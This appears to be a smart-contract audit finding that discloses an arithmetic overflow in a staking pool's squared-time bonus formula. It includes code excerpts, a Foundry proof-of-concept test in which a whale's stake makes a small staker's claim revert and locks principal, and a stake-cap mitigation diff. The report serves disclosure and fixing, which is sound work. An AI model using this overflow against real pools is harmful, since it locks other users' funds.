Description
Every stake accepted from a supported standard ERC20 should remain claimable after a valid terminal outcome.
The k=2 bonus calculation expands amount * (T - entryTime)^2 into absolute timestamp moments. The stored moments can be safe when a stake enters, while the later additions in _bonusShare() overflow after T advances. The mathematically equivalent centered score still fits, but Solidity reverts before reaching Math.mulDiv.
The global expression is evaluated for every claimant. Therefore, one sufficiently large stake can make even a small honest staker's claim revert. This raw-unit threshold is reachable with a standards-compliant high-decimal ERC20; at the repository's realistic base timestamp, the PoC uses less than 0.02 token at 60 decimals.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _bonusShare(address u, uint256 userEligible)
internal
view
returns (uint256)
{
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
Risk
Likelihood:
-
This occurs when an allowlisted standard ERC20 has a very large raw-unit supply or high decimal precision and aggregate stake approaches the arithmetic bound.
-
Any positive bonus causes _bonusShare() to execute after SURVIVED or EXPIRED resolution.
Impact:
-
A large staker can make every staker's claim revert, including claims for small honest deposits.
-
Principal remains locked because withdrawals are disabled after the risk window opens and no principal-only claim path bypasses _bonusShare().
Proof of Concept
Place PoC.t.sol in test/ and run:
forge test test/PoC.t.sol -vvv
function test_ScoreOverflow() external {
uint256 t = block.timestamp;
uint256 total = type(uint256).max / (2 * t * t);
address victim = alice;
address whale = bob;
assertLt(total, 1e60);
_stake(victim, ONE);
_stake(whale, total - ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, 1);
vm.warp(t + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(victim);
vm.expectRevert(abi.encodeWithSelector(bytes4(0x4e487b71), uint256(0x11)));
pool.claimSurvived();
assertEq(pool.eligibleStake(victim), ONE);
assertEq(token.balanceOf(address(pool)), total + 1);
}
The complete file defines a standard 60-decimal ERC20 and reuses the repository's existing unit-test mocks. It does not require a BattleChain RPC.
Recommended Mitigation
Cap aggregate stake against the largest possible scoring timestamp, which is bounded by expiry, or replace the expanded absolute-time formula with wider centered arithmetic.
+ error StakeCapExceeded();
+
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+
+ uint256 e = uint256(expiry);
+ uint256 maxTotalStake = type(uint256).max / (2 * e * e);
+ if (
+ received > maxTotalStake
+ || totalEligibleStake > maxTotalStake - received
+ ) {
+ revert StakeCapExceeded();
+ }
_clampUserSums(msg.sender);
...
}